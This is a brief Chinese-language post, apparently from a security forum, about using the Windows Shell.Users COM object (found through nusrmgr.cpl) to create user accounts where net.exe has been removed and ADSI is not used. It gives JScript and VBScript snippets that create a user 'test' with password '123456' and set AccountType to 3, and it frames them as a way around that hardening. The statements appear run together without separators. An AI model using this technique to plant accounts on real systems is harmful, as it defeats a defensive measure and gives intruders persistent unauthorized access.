今天研究了一下用戶控制面板文件nusrmgr.cpl,發(fā)現(xiàn)調(diào)用的是Shell.Users來加用戶,它還同時(shí)調(diào)用了 wscript.shell、Shell.Application、Shell.LocalMachine這三個(gè)組件。不過加用戶的話,這一個(gè) Shell.Users就足夠了。那么可能在刪掉了net.exe和不用adsi之外,這也可能是一種新的加用戶的方法。
代碼如下:
js:
var o=new ActiveXObject( "Shell.Users" );z=o.create("test") ;z.changePassword("123456","")z.setting("AccountType")=3;
vbs:
Set o=CreateObject( "Shell.Users" )Set z=o.create("test")z.changePassword "123456",""z.setting("AccountType")=3